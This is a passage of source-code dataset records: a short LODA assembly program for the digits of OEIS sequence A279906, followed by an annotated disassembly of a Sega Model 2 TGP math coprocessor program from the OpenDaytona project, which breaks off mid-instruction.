38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
35.00578
2,999
0.653732
1829c1084d5dfc54656f11af429027cb284b2690
571
asm
Assembly
oeis/279/A279906.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/279/A279906.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/279/A279906.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A279906: Decimal expansion of the number whose continued fraction expansion consists of the even numbers. ; Submitted by Christian Krause ; 2,2,4,0,1,9,3,7,2,3,8,7,0,0,8,9,7,4,1,1,0,5,2,2,0,6,4,1,7,2,9,8,2,9,7,7,2,0,2,7,2,4,6,8,6,7,2,9,0,3,9,3,6,5,3,5,4,4,7,7,7,6,2,0,4,2,5,3,8,9,0,7,7,2,5,4,2,1,5,9,9,2,8,8,4,6,3,7,5,1,0,4,1,2,4,9,5,3,9,6 mov $1,3 mov $3,$0 mul $3,3 mov $5,1 lpb $3 add $1,$2 add $5,$2 add $1,$5 add $2,$1 mul $1,2 sub $3,1 mul $1,$3 lpe mov $1,1 add $1,$5 mov $4,10 pow $4,$0 div $2,$4 cmp $6,0 add $2,$6 div $1,$2 mov $0,$1 mod $0,10
20.392857
201
0.576182
a4ff53c728e8b3b089fa2aeb94734772a03d045e
63,044
asm
Assembly
dasm/tgp_math.asm
SailorSat/OpenDaytona
773d811e5765c84ebb69090891a1ecd61c74c40a
[ "MIT" ]
1
2020-05-09T10:43:33.000Z
2020-05-09T10:43:33.000Z
dasm/tgp_math.asm
SailorSat/OpenDaytona
773d811e5765c84ebb69090891a1ecd61c74c40a
[ "MIT" ]
1
2020-05-09T10:53:04.000Z
2020-05-28T16:14:25.000Z
dasm/tgp_math.asm
SailorSat/OpenDaytona
773d811e5765c84ebb69090891a1ecd61c74c40a
[ "MIT" ]
1
2021-03-24T15:27:13.000Z
2021-03-24T15:27:13.000Z
0000: BF600010 brif alw #0x10 0001: BF600006 brif alw #0x6 0002: BF600006 brif alw #0x6 0003: BF600006 brif alw #0x6 0004: BF60000A brif alw #0xa 0005: BF600006 brif alw #0x6 0006: 3C02105C clr1 #0x105c 0007: 7C000002 ldi #0x2, mask 0008: 3C060800 set #0x0800 0009: BF6E0000 iret 000A: 3C02105C clr1 #0x105c 000B: 1C0CFC7E mov $0x7e, $0x27e 000C: 1C10FE7E mov $0x27e, $0x7f 000D: 1C1DC07F mov $0x7f, rf0 000E: 3C060800 set #0x0800 000F: BF6E0000 iret 0010: 3C060800 set #0x0800 0011: 7C000002 ldi #0x2, mask 0012: 360A0007 stmh fp rz 0013: 43000000 ldi #0x0, x1 0014: 3B000000 lid #0x0 0015: 1C1C33A1 mov d, (x1+1) 0016: 3B000001 lid #0x1 0017: 1C1C33A1 mov d, (x1+1) 0018: 3BFFFFFF lid #0xffffff 0019: 1C1C33A1 mov d, (x1+1) 001A: 3B000000 lid #0x0 001B: 1C1C33A1 mov d, (x1+1) 001C: 3C000010 clr0 d 001D: 5A00007F ldi #0x7f, dh 001E: 1C1C33A1 mov d, (x1+1) 001F: 3C000010 clr0 d 0020: 5A00007F ldi #0x7f, dh 0021: 5B800000 ldi #0x800000, dl 0022: 1C1C33A1 mov d, (x1+1) 0023: 3B00000F lid #0xf 0024: 1C1C33A1 mov d, (x1+1) 0025: 3B000130 lid #0x130 0026: 1C1C33A1 mov d, (x1+1) 0027: 1C1C33A1 mov d, (x1+1) 0028: 3B000000 lid #0x0 0029: 1C1C33A1 mov d, (x1+1) 002A: 3B000007 lid #0x7 002B: 1C1C33A1 mov d, (x1+1) 002C: 3B000008 lid #0x8 002D: 1C1C33A1 mov d, (x1+1) 002E: 3B000100 lid #0x100 002F: 1C1C33A1 mov d, (x1+1) 0030: 3B000200 lid #0x200 0031: 1C1C33A1 mov d, (x1+1) 0032: 1C0C0000 mov $0, $0x200 0033: 1C0C0201 mov $1, $0x201 0034: 1C0C0402 mov $2, $0x202 0035: 1C0C0603 mov $3, $0x203 0036: 1C0C0804 mov $4, $0x204 0037: 1C0C0A05 mov $5, $0x205 0038: 43000206 ldi #0x206, x1 0039: 3C000010 clr0 d 003A: 5A00007B ldi #0x7b, dh 003B: 5BCCCCCD ldi #0xcccccd, dl 003C: 1C1C33A1 mov d, (x1+1) 003D: 3C000044 clr0 a, ?6 003E: BF6407CB bsif alw #0x7cb 003F: 40000000 ldi #0x0, b0 0040: 41000200 ldi #0x200, b1 0041: 1C1DC000 mov $0, rf0 0042: 1C10FC01 mov $0x201, $0x7e 0043: 1C10FE01 mov $0x201, $0x7f 0044: 1C1F2621 mov rf1, b 0045: 1C1F3214 mov bh, d 0046: 3900003F lia #0x3f 0047: 1C3DA00B andd : mov $0xb, a 0048: 1F7F1E10 subd 0049: FE000044 brif !zrd #0x44 004A: 3B000008 lid #0x8 004B: BF600055 brif alw #0x55 -- 004C: 1C1F2621 mov rf1, b -- read rf1 to b (13802727) 004D: 1C1DC07F mov $0x7f, rf0 -- rf0 = 0x7f? 004E: 3C000014 clr0 a, d -- a = 0, d = 0 004F: 1C1F1815 mov bl, c0 -- c0 = bl (27) 0050: 1C1F320C mov c0, d -- d = c0 0051: 1C1F2014 mov bh, a -- a = bh (27) 0052: 1F7DB800 subd : mov $0, p -- d -=? 0053: FE0000A1 brif !zrd #0xa1 -- if not zero d? goto 0xa1 0054: 1C1F3214 mov bh, d -- d = bh (27) 0055: 39000058 lia #0x58 -- a = 0x58 0056: 1F5DB800 addd : mov $0, p -- addd ? (7f) 0057: BF624019 brul alw d -- branch to d (7f) 0058: BF6000B5 brif alw #0xb5 00 0059: BF6000BA brif alw #0xba 01 005A: BF6000BF brif alw #0xbf 02 005B: BF6000C4 brif alw #0xc4 03 005C: BF6000D2 brif alw #0xd2 04 005D: BF6000E3 brif alw #0xe3 05 005E: BF6000F7 brif alw #0xf7 06 005F: BF600106 brif alw #0x106 07 0060: BF60010A brif alw #0x10a 08 0061: BF60010E brif alw #0x10e 09 0062: BF600154 brif alw #0x154 0a 0063: BF60015D brif alw #0x15d 0b 0064: BF60019F brif alw #0x19f 0c 0065: BF6001B8 brif alw #0x1b8 0d 0066: BF6001BB brif alw #0x1bb 0e 0067: BF6001C1 brif alw #0x1c1 0f 0068: BF6001D2 brif alw #0x1d2 10 0069: BF6001D9 brif alw #0x1d9 11 006A: BF6001DD brif alw #0x1dd 12 006B: BF6001F3 brif alw #0x1f3 13 006C: BF60020A brif alw #0x20a 14 006D: BF600223 brif alw #0x223 15 006E: BF60023B brif alw #0x23b 16 006F: BF600253 brif alw #0x253 17 0070: BF6002AA brif alw #0x2aa 18 0071: BF6002B0 brif alw #0x2b0 19 0072: BF6002B2 brif alw #0x2b2 1a 0073: BF6002CB brif alw #0x2cb 1b 0074: BF6002CE brif alw #0x2ce 1c 0075: BF6002D1 brif alw #0x2d1 1d 0076: BF6002D7 brif alw #0x2d7 1e 0077: BF6002DD brif alw #0x2dd 1f 0078: BF6002FF brif alw #0x2ff 20 0079: BF6002FF brif alw #0x2ff 21 007A: BF600300 brif alw #0x300 22 007B: BF600304 brif alw #0x304 23 007C: BF600308 brif alw #0x308 24 007D: BF60030A brif alw #0x30a 25 007E: BF60030C brif alw #0x30c 26 007F: BF600311 brif alw #0x311 27 - 0x311 0080: BF600316 brif alw #0x316 28 0081: BF60031B brif alw #0x31b 29 0082: BF600329 brif alw #0x329 2a 0083: BF60036C brif alw #0x36c 2b 0084: BF6003C2 brif alw #0x3c2 2c 0085: BF6003C7 brif alw #0x3c7 2d 0086: BF6003CF brif alw #0x3cf 2e 0087: BF6003EF brif alw #0x3ef 2f 0088: BF600410 brif alw #0x410 30 0089: BF600413 brif alw #0x413 31 008A: BF600417 brif alw #0x417 32 008B: BF60043B brif alw #0x43b 33 008C: BF60044D brif alw #0x44d 34 008D: BF600452 brif alw #0x452 35 008E: BF600457 brif alw #0x457 36 008F: BF60051A brif alw #0x51a 37 0090: BF600521 brif alw #0x521 38 0091: BF60052F brif alw #0x52f 39 0092: BF60053D brif alw #0x53d 3a 0093: BF600545 brif alw #0x545 3b 0094: BF600558 brif alw #0x558 3c 0095: BF600559 brif alw #0x559 3d 0096: BF6005C6 brif alw #0x5c6 3e 0097: BF6005E9 brif alw #0x5e9 3f 0098: BF6005F3 brif alw #0x5f3 40 0099: BF6005FA brif alw #0x5fa 41 009A: BF600615 brif alw #0x615 42 009B: BF600631 brif alw #0x631 43 009C: BF60063F brif alw #0x63f 44 009D: BF600643 brif alw #0x643 45 009E: BF60064B brif alw #0x64b 46 009F: BF600661 brif alw #0x661 47 00A0: BF6007D9 brif alw #0x7d9 48 00A1: 39000002 lia #0x2 00A2: 1C1C207F mov a, $0x7f 00A3: 5F000008 ldi #0x8, sft 00A4: 390000FF lia #0xff 00A5: 1C1F3215 mov bl, d 00A6: 1EDF1E10 lsrd 00A7: 1C3F1E10 andd 00A8: 1C1F1A19 mov d, c1 00A9: 1C1F200C mov c0, a 00AA: 1F7F1E10 subd 00AB: FE0000AE brif !zrd #0xae 00AC: 1C1F320C mov c0, d 00AD: BF600055 brif alw #0x55 00AE: 1C1F2014 mov bh, a 00AF: 1C1F320D mov c1, d 00B0: 1F7F1E10 subd 00B1: FE0000B4 brif !zrd #0xb4 00B2: 1C1F3214 mov bh, d 00B3: BF600055 brif alw #0x55 00B4: BF60004C brif alw #0x4c -- 00 add 00B5: 1C1F3221 mov rf1, d 00B6: 1C1F2021 mov rf1, a 00B7: 1CDF1E10 fadd 00B8: 1C1F4419 mov d, rf2 00B9: BF60004C brif alw #0x4c -- 01 sub 00BA: 1C1F3221 mov rf1, d 00BB: 1C1F2021 mov rf1, a 00BC: 1CFF1E10 fsbd 00BD: 1C1F4419 mov d, rf2 00BE: BF60004C brif alw #0x4c -- 02 mul 00BF: 1C1F2021 mov rf1, a 00C0: 1C1F2621 mov rf1, b 00C1: 1D1F1E10 fml 00C2: 1C1F441C mov p, rf2 00C3: BF60004C brif alw #0x4c -- 03 ?? 00C4: 1C1C4270 mov rf1, $0x70 (0x70) = rf1 00C5: 1C1F2021 mov rf1, a a= rf1 00C6: 1C1CA028 mov a, $0x28 (e) (0x28) = a 00C7: 5100007F ldi #0x7f, ah 00C8: 1C1E3228 mov $0x28 (e), d 00C9: 1D7F1E10 fabd 00CA: 1C1F2619 mov d, b 00CB: 1D1E3229 fml : mov $0x29 (e), d 00CC: 1D5F1E10 fmrd 00CD: 1C1F2619 mov d, b 00CE: 1C1DA070 mov $0x70, a 00CF: 1D1F1E10 fml 00D0: 1C1F441C mov p, rf2 00D1: BF60004C brif alw #0x4c -- 04 ?? 00D2: 1C1C4270 mov rf1, $0x70 00D3: 1C1F2021 mov rf1, a 00D4: 1C1C2071 mov a, $0x71 00D5: 1C1CA028 mov a, $0x28 (e) 00D6: 5100007F ldi #0x7f, ah 00D7: 1C1E3228 mov $0x28 (e), d 00D8: 1D7F1E10 fabd 00D9: 1C1F2619 mov d, b 00DA: 1D1E3229 fml : mov $0x29 (e), d 00DB: 1D5DA070 fmrd : mov $0x70, a 00DC: 1C1F2619 mov d, b 00DD: 1D1DA671 fml : mov $0x71, b 00DE: 1C1F201C mov p, a 00DF: 1D1DB270 fml : mov $0x70, d 00E0: 1D5F1E10 fmrd 00E1: 1C1F4419 mov d, rf2 00E2: BF60004C brif alw #0x4c -- 05 ?? 00E3: 1C1DA00A mov $0xa, a a = (0xa) 7 00E4: 1C1DB209 mov $9, d d = (0x9) 0 00E5: 1F7DA001 subd : mov $1, a d -= a; a = (0x1) 00E6: BE1000F3 brif ged #0xf3 00F3 00E7: 1C1D8407 mov $7, x0 x0 = (0x7) 00E8: 43000010 ldi #0x10, x1 x1 = 0x10 00E9: 3C04000C rep #0xc 00EA: 1C1343A1 mov (x0+1)+0x200, (x1+1) 00EB: 1C1DB209 mov $9, d 00EC: 1F5C0407 addd : mov x0, $7 00ED: 1C1C3209 mov d, $9 00EE: 42000010 ldi #0x10, x0 00EF: 1C1D8607 mov $7, x1 00F0: 3C04000C rep #0xc 00F1: 1C0F43A1 mov (x0+1), (x1+1)+0x200 00F2: BF60004C brif alw #0x4c 00F3: 1C1DB209 mov $9, d 00F4: 1F5F1E10 addd 00F5: 1C1C3209 mov d, $9 00F6: BF60004C brif alw #0x4c -- 06 ?? 00F7: 1C1DB209 mov $9, d 00F8: 1C1DA000 mov $0, a 00F9: 1F7DA00B subd : mov $0xb, a 00FA: BE20004C brif led #0x4c 00FB: 1C1DB209 mov $9, d 00FC: 1F7DA001 subd : mov $1, a 00FD: BE100102 brif ged #0x102 00FE: 1C1DB207 mov $7, d 00FF: 3900000C lia #0xc 0100: 1F7DA001 subd : mov $1, a 0101: 1C1C3207 mov d, $7 0102: 1C1DB209 mov $9, d 0103: 1F7F1E10 subd 0104: 1C1C3209 mov d, $9 0105: BF60004C brif alw #0x4c -- 07 0106: 1C1D8607 mov $7, x1 0107: 3C04000C rep #0xc 0108: 1C1C4381 mov rf1, (bx1+1) 0109: BF60004C brif alw #0x4c -- 08 010A: 1C1DB208 mov $8, d 010B: 1C1C3207 mov d, $7 010C: 1C101200 mov $0x200, $9 010D: BF60004C brif alw #0x4c -- 09 010E: 1C1D8607 mov $7, x1 010F: 1C1C4210 mov rf1, $0x10 0110: 000F4610 lab $0x10, (x1+3)+0x200 0111: 1D1C4211 fml : mov rf1, $0x11 0112: 000F4611 lab $0x11, (x1+3)+0x200 0113: 1DBC4212 fspd : mov rf1, $0x12 0114: 000F7412 lab $0x12, (x1-6)+0x200 0115: 1D3C4213 fmsd : mov rf1, $0x13 0116: 000F4613 lab $0x13, (x1+3)+0x200 0117: 1D3C4214 fmsd : mov rf1, $0x14 0118: 000F4614 lab $0x14, (x1+3)+0x200 0119: 1C1C3228 mov d, $0x28 011A: 1DBC4215 fspd : mov rf1, $0x15 011B: 000F7415 lab $0x15, (x1-6)+0x200 011C: 1D3C4216 fmsd : mov rf1, $0x16 011D: 000F4616 lab $0x16, (x1+3)+0x200 011E: 1D3C4217 fmsd : mov rf1, $0x17 011F: 000F4617 lab $0x17, (x1+3)+0x200 0120: 1C1C322B mov d, $0x2b 0121: 1DBC4218 fspd : mov rf1, $0x18 0122: 000F7418 lab $0x18, (x1-6)+0x200 0123: 1D3C4219 fmsd : mov rf1, $0x19 0124: 000F4619 lab $0x19, (x1+3)+0x200 0125: 1D3C421A fmsd : mov rf1, $0x1a 0126: 000F461A lab $0x1a, (x1+3)+0x200 0127: 1C1C322E mov d, $0x2e 0128: 1DBC421B fspd : mov rf1, $0x1b 0129: 000F461B lab $0x1b, (x1+3)+0x200 012A: 1D3DA198 fmsd : mov (bx1-8), a 012B: 00CF4610 fadd : lab $0x10, (x1+3)+0x200 012C: 012F4611 fmsd : lab $0x11, (x1+3)+0x200 012D: 1C1C3231 mov d, $0x31 012E: 01AF7412 fspd : lab $0x12, (x1-6)+0x200 012F: 012F4613 fmsd : lab $0x13, (x1+3)+0x200 0130: 012F4614 fmsd : lab $0x14, (x1+3)+0x200 0131: 1C1C3229 mov d, $0x29 0132: 01AF7415 fspd : lab $0x15, (x1-6)+0x200 0133: 012F4616 fmsd : lab $0x16, (x1+3)+0x200 0134: 012F4617 fmsd : lab $0x17, (x1+3)+0x200 0135: 1C1C322C mov d, $0x2c 0136: 01AF7418 fspd : lab $0x18, (x1-6)+0x200 0137: 012F4619 fmsd : lab $0x19, (x1+3)+0x200 0138: 012F461A fmsd : lab $0x1a, (x1+3)+0x200 0139: 1C1C322F mov d, $0x2f 013A: 01AF461B fspd : lab $0x1b, (x1+3)+0x200 013B: 1D3DA198 fmsd : mov (bx1-8), a 013C: 00CF4610 fadd : lab $0x10, (x1+3)+0x200 013D: 012F4611 fmsd : lab $0x11, (x1+3)+0x200 013E: 1C1C3232 mov d, $0x32 013F: 01AF7412 fspd : lab $0x12, (x1-6)+0x200 0140: 012F4613 fmsd : lab $0x13, (x1+3)+0x200 0141: 012F4614 fmsd : lab $0x14, (x1+3)+0x200 0142: 1C1C322A mov d, $0x2a 0143: 01AF7415 fspd : lab $0x15, (x1-6)+0x200 0144: 012F4616 fmsd : lab $0x16, (x1+3)+0x200 0145: 012F4617 fmsd : lab $0x17, (x1+3)+0x200 0146: 1C1C322D mov d, $0x2d 0147: 01AF7418 fspd : lab $0x18, (x1-6)+0x200 0148: 012F4619 fmsd : lab $0x19, (x1+3)+0x200 0149: 012F461A fmsd : lab $0x1a, (x1+3)+0x200 014A: 1C1C3230 mov d, $0x30 014B: 01AF461B fspd : lab $0x1b, (x1+3)+0x200 014C: 1D3DA180 fmsd : mov (bx1), a 014D: 1D9D8607 fsmd : mov $7, x1 014E: 1CDF1E10 fadd 014F: 1C1C3233 mov d, $0x33 0150: 42000028 ldi #0x28, x0 0151: 3C04000C rep #0xc 0152: 1C0F43A1 mov (x0+1), (x1+1)+0x200 0153: BF60004C brif alw #0x4c -- 0a 0154: 1C1F2021 mov rf1, a 0155: 1C1F2621 mov rf1, b 0156: BF640797 bsif alw #0x797 0157: 1C1E3227 mov $0x27 (e), d 0158: 5F000010 ldi #0x10, sft 0159: 1EFF1E10 lsld 015A: 1F1F1E10 asrd 015B: 1C1F4419 mov d, rf2 015C: BF60004C brif alw #0x4c -- 0b 015D: 1C1C425C mov rf1, $0x5c 015E: 1C1C425D mov rf1, $0x5d 015F: 1C1C425E mov rf1, $0x5e 0160: 1C0CB85C mov $0x5c, $0x25c 0161: 1C0CBA5D mov $0x5d, $0x25d 0162: 1C0CBC5E mov $0x5e, $0x25e 0163: 1C1C4256 mov rf1, $0x56 0164: 1C1C4257 mov rf1, $0x57 0165: 1C1C4258 mov rf1, $0x58 0166: 1C1C4259 mov rf1, $0x59 0167: 1C1C425A mov rf1, $0x5a 0168: 1C1C425B mov rf1, $0x5b 0169: 1C0CB259 mov $0x59, $0x259 016A: 1C0CB45A mov $0x5a, $0x25a 016B: 1C0CB65B mov $0x5b, $0x25b 016C: 000CBA57 lab $0x57, $0x25d 016D: 036CB658 subd : lab $0x58, $0x25b 016E: 1F7F2019 subd : mov d, a 016F: 1C1F2619 mov d, b 0170: 010CBC58 fml : lab $0x58, $0x25e 0171: 036CB457 subd : lab $0x57, $0x25a 0172: 1F7F2019 subd : mov d, a 0173: 1C1F2619 mov d, b 0174: 01ACBC58 fspd : lab $0x58, $0x25e 0175: 1D5F1E10 fmrd 0176: 1C1C3262 mov d, $0x62 0177: 036CB256 subd : lab $0x56, $0x259 0178: 1F7F2019 subd : mov d, a 0179: 1C1F2619 mov d, b 017A: 010CB856 fml : lab $0x56, $0x25c 017B: 036CB658 subd : lab $0x58, $0x25b 017C: 1F7F2019 subd : mov d, a 017D: 1C1F2619 mov d, b 017E: 01ACB856 fspd : lab $0x56, $0x25c 017F: 1D4CC462 fmrd : mov $0x62, $0x262 0180: 1C1C3263 mov d, $0x63 0181: 036CB457 subd : lab $0x57, $0x25a 0182: 1F7F2019 subd : mov d, a 0183: 1C1F2619 mov d, b 0184: 010CBA57 fml : lab $0x57, $0x25d 0185: 036CB256 subd : lab $0x56, $0x259 0186: 1F7F2019 subd : mov d, a 0187: 1C1F2619 mov d, b 0188: 1DACC663 fspd : mov $0x63, $0x263 0189: 1D5F1E10 fmrd 018A: 1C1C3264 mov d, $0x64 018B: 000CC462 lab $0x62, $0x262 018C: 010CC663 fml : lab $0x63, $0x263 018D: 1DACC864 fspd : mov $0x64, $0x264 018E: 000CC864 lab $0x64, $0x264 018F: 1D3F1E10 fmsd 0190: 1D9F1E10 fsmd 0191: 1C1F2019 mov d, a 0192: 1C1CA02A mov a, $0x2a (e) 0193: 5100007F ldi #0x7f, ah 0194: 1C1E262A mov $0x2a (e), b 0195: 1D1E322B fml : mov $0x2b (e), d 0196: 1D5DA062 fmrd : mov $0x62, a 0197: 1C1F2619 mov d, b 0198: 1D1DA063 fml : mov $0x63, a 0199: 1C1F441C mov p, rf2 019A: 1D1DA064 fml : mov $0x64, a 019B: 1C1F441C mov p, rf2 019C: 1D1F1E10 fml 019D: 1C1F441C mov p, rf2 019E: BF60004C brif alw #0x4c -- 0c 019F: 1C1C4270 mov rf1, $0x70 01A0: 1C0CE070 mov $0x70, $0x270 01A1: 000CE070 lab $0x70, $0x270 01A2: 1C1C4271 mov rf1, $0x71 01A3: 1C0CE271 mov $0x71, $0x271 01A4: 010CE271 fml : lab $0x71, $0x271 01A5: 1C1C4273 mov rf1, $0x73 01A6: 1C0CE673 mov $0x73, $0x273 01A7: 01ACE673 fspd : lab $0x73, $0x273 01A8: 1D3F1E10 fmsd 01A9: 1D9F1E10 fsmd 01AA: 1C1F2019 mov d, a 01AB: 1C1CA02A mov a, $0x2a (e) 01AC: 5100007F ldi #0x7f, ah 01AD: 1C1E262A mov $0x2a (e), b 01AE: 1D1E322B fml : mov $0x2b (e), d 01AF: 1D5DA070 fmrd : mov $0x70, a 01B0: 1C1F2619 mov d, b 01B1: 1D1DA071 fml : mov $0x71, a 01B2: 1C1F441C mov p, rf2 01B3: 1D1DA073 fml : mov $0x73, a 01B4: 1C1F441C mov p, rf2 01B5: 1D1F1E10 fml 01B6: 1C1F441C mov p, rf2 01B7: BF60004C brif alw #0x4c -- 0d 01B8: 1C1F2021 mov rf1, a 01B9: BF6407CB bsif alw #0x7cb 01BA: BF60004C brif alw #0x4c -- 0e 01BB: 43000040 ldi #0x40, x1 01BC: 1C1C4381 mov rf1, (bx1+1) 01BD: 1C1C4381 mov rf1, (bx1+1) 01BE: 1C1C4381 mov rf1, (bx1+1) 01BF: 1C1C4381 mov rf1, (bx1+1) 01C0: BF60004C brif alw #0x4c -- 0f 01C1: 1C1F3221 mov rf1, d 01C2: 1C1F2621 mov rf1, b 01C3: 1C1F2021 mov rf1, a 01C4: 1CFF3821 fsbd : mov rf1, p 01C5: 1C1C3270 mov d, $0x70 01C6: 1C1F3213 mov b, d 01C7: 1C1F201C mov p, a 01C8: 1CFF1E10 fsbd 01C9: 1C1F2619 mov d, b 01CA: 1C1DA070 mov $0x70, a 01CB: BF640797 bsif alw #0x797 01CC: 1C1E3227 mov $0x27 (e), d 01CD: 5F000010 ldi #0x10, sft 01CE: 1EFF1E10 lsld 01CF: 1F1F1E10 asrd 01D0: 1C1F4419 mov d, rf2 01D1: BF60004C brif alw #0x4c -- 10 01D2: 1C1D8607 mov $7, x1 01D3: 3C04000C rep #0xc 01D4: 1C0F4203 mov $3, (x1+1)+0x200 01D5: 1C1D8607 mov $7, x1 01D6: 3C040003 rep #3 01D7: 1C0F4804 mov $4, (x1+4)+0x200 01D8: BF60004C brif alw #0x4c -- 11 01D9: 1C1D8607 mov $7, x1 01DA: 3C04000C rep #0xc 01DB: 1C1DC581 mov (bx1+1), rf2 01DC: BF60004C brif alw #0x4c -- 12 01DD: 1C1D8607 mov $7, x1 01DE: 1C1C4253 mov rf1, $0x53 01DF: 000F4653 lab $0x53, (x1+3)+0x200 01E0: 1C1C4254 mov rf1, $0x54 01E1: 010F4C54 fml : lab $0x54, (x1+6)+0x200 01E2: 1C1DB39D mov (bx1-3), d 01E3: 1C1C4255 mov rf1, $0x55 01E4: 012F7655 fmsd : lab $0x55, (x1-5)+0x200 01E5: 012F4653 fmsd : lab $0x53, (x1+3)+0x200 01E6: 012F4A54 fmsd : lab $0x54, (x1+5)+0x200 01E7: 1C1C3381 mov d, (bx1+1) 01E8: 1C1DB39D mov (bx1-3), d 01E9: 012F7655 fmsd : lab $0x55, (x1-5)+0x200 01EA: 012F4653 fmsd : lab $0x53, (x1+3)+0x200 01EB: 012F4A54 fmsd : lab $0x54, (x1+5)+0x200 01EC: 1C1C3381 mov d, (bx1+1) 01ED: 1C1DB39D mov (bx1-3), d 01EE: 012F4655 fmsd : lab $0x55, (x1+3)+0x200 01EF: 1D3F1E10 fmsd 01F0: 1D3F1E10 fmsd 01F1: 1C1C3380 mov d, (bx1) 01F2: BF60004C brif alw #0x4c -- 13 01F3: 1C1D8607 mov $7, x1 01F4: 1C1C4253 mov rf1, $0x53 01F5: 000F4653 lab $0x53, (x1+3)+0x200 01F6: 1D1C4254 fml : mov rf1, $0x54 01F7: 000F7A54 lab $0x54, (x1-3)+0x200 01F8: 1DBC4255 fspd : mov rf1, $0x55 01F9: 1C1C3383 mov d, (bx1+3) 01FA: 1C1C3983 mov p, (bx1+3) 01FB: 000F7655 lab $0x55, (x1-5)+0x200 01FC: 010F4653 fml : lab $0x53, (x1+3)+0x200 01FD: 01AF4454 fspd : lab $0x54, (x1+2)+0x200 01FE: 1C1C339B mov d, (bx1-5) 01FF: 1C1C3986 mov p, (bx1+6) 0200: 010F7655 fml : lab $0x55, (x1-5)+0x200 0201: 01AF4453 fspd : lab $0x53, (x1+2)+0x200 0202: 1C1C3383 mov d, (bx1+3) 0203: 1C1C399E mov p, (bx1-2) 0204: 010F4654 fml : lab $0x54, (x1+3)+0x200 0205: 01AF7455 fspd : lab $0x55, (x1-6)+0x200 0206: 1C1C3383 mov d, (bx1+3) 0207: 1D1C3983 fml : mov p, (bx1+3) 0208: 1C1C3980 mov p, (bx1) 0209: BF60004C brif alw #0x4c -- 14 020A: 1C1D8607 mov $7, x1 020B: 1C1CC220 mov rf1, $0x20 (e) 020C: 000F4674 lab $0x74, (x1+3)+0x200 020D: 1C08E021 mov $0x21 (e), $0x70 020E: 1C08E620 mov $0x20 (e), $0x73 020F: 000F4670 lab $0x70, (x1+3)+0x200 0210: 010F7A73 fml : lab $0x73, (x1-3)+0x200 0211: 01AF4673 fspd : lab $0x73, (x1+3)+0x200 0212: 014F7A70 fmrd : lab $0x70, (x1-3)+0x200 0213: 1C1C3381 mov d, (bx1+1) 0214: 01AF4670 fspd : lab $0x70, (x1+3)+0x200 0215: 012F7E73 fmsd : lab $0x73, (x1-1)+0x200 0216: 1C1C339E mov d, (bx1-2) 0217: 01AF4673 fspd : lab $0x73, (x1+3)+0x200 0218: 014F7A70 fmrd : lab $0x70, (x1-3)+0x200 0219: 1C1C3381 mov d, (bx1+1) 021A: 01AF4670 fspd : lab $0x70, (x1+3)+0x200 021B: 012F7E73 fmsd : lab $0x73, (x1-1)+0x200 021C: 1C1C339E mov d, (bx1-2) 021D: 01AF4673 fspd : lab $0x73, (x1+3)+0x200 021E: 014F7A70 fmrd : lab $0x70, (x1-3)+0x200 021F: 1DBC3383 fspd : mov d, (bx1+3) 0220: 1D9F1E10 fsmd 0221: 1C1C3380 mov d, (bx1) 0222: BF60004C brif alw #0x4c -- 15 0223: 1C1D8607 mov $7, x1 0224: 1C1CC220 mov rf1, $0x20 (e) 0225: 1C08E021 mov $0x21 (e), $0x70 0226: 1C08E620 mov $0x20 (e), $0x73 0227: 000F4C70 lab $0x70, (x1+6)+0x200 0228: 010F4073 fml : lab $0x73, (x1)+0x200 0229: 01AF7470 fspd : lab $0x70, (x1-6)+0x200 022A: 012F4073 fmsd : lab $0x73, (x1)+0x200 022B: 1C1C3381 mov d, (bx1+1) 022C: 01AF4C70 fspd : lab $0x70, (x1+6)+0x200 022D: 014F7E73 fmrd : lab $0x73, (x1-1)+0x200 022E: 1C1C3381 mov d, (bx1+1) 022F: 01AF7470 fspd : lab $0x70, (x1-6)+0x200 0230: 012F4073 fmsd : lab $0x73, (x1)+0x200 0231: 1C1C3381 mov d, (bx1+1) 0232: 01AF4C70 fspd : lab $0x70, (x1+6)+0x200 0233: 014F7E73 fmrd : lab $0x73, (x1-1)+0x200 0234: 1C1C3381 mov d, (bx1+1) 0235: 01AF7470 fspd : lab $0x70, (x1-6)+0x200 0236: 012F4073 fmsd : lab $0x73, (x1)+0x200 0237: 1DBC3386 fspd : mov d, (bx1+6) 0238: 1D5F1E10 fmrd 0239: 1C1C3380 mov d, (bx1) 023A: BF60004C brif alw #0x4c -- 16 023B: 1C1D8607 mov $7, x1 023C: 1C1CC220 mov rf1, $0x20 (e) 023D: 1C08E021 mov $0x21 (e), $0x70 023E: 1C08E620 mov $0x20 (e), $0x73 023F: 000F4670 lab $0x70, (x1+3)+0x200 0240: 010F7A73 fml : lab $0x73, (x1-3)+0x200 0241: 01AF4673 fspd : lab $0x73, (x1+3)+0x200 0242: 014F7A70 fmrd : lab $0x70, (x1-3)+0x200 0243: 1C1C3381 mov d, (bx1+1) 0244: 01AF4670 fspd : lab $0x70, (x1+3)+0x200 0245: 012F7E73 fmsd : lab $0x73, 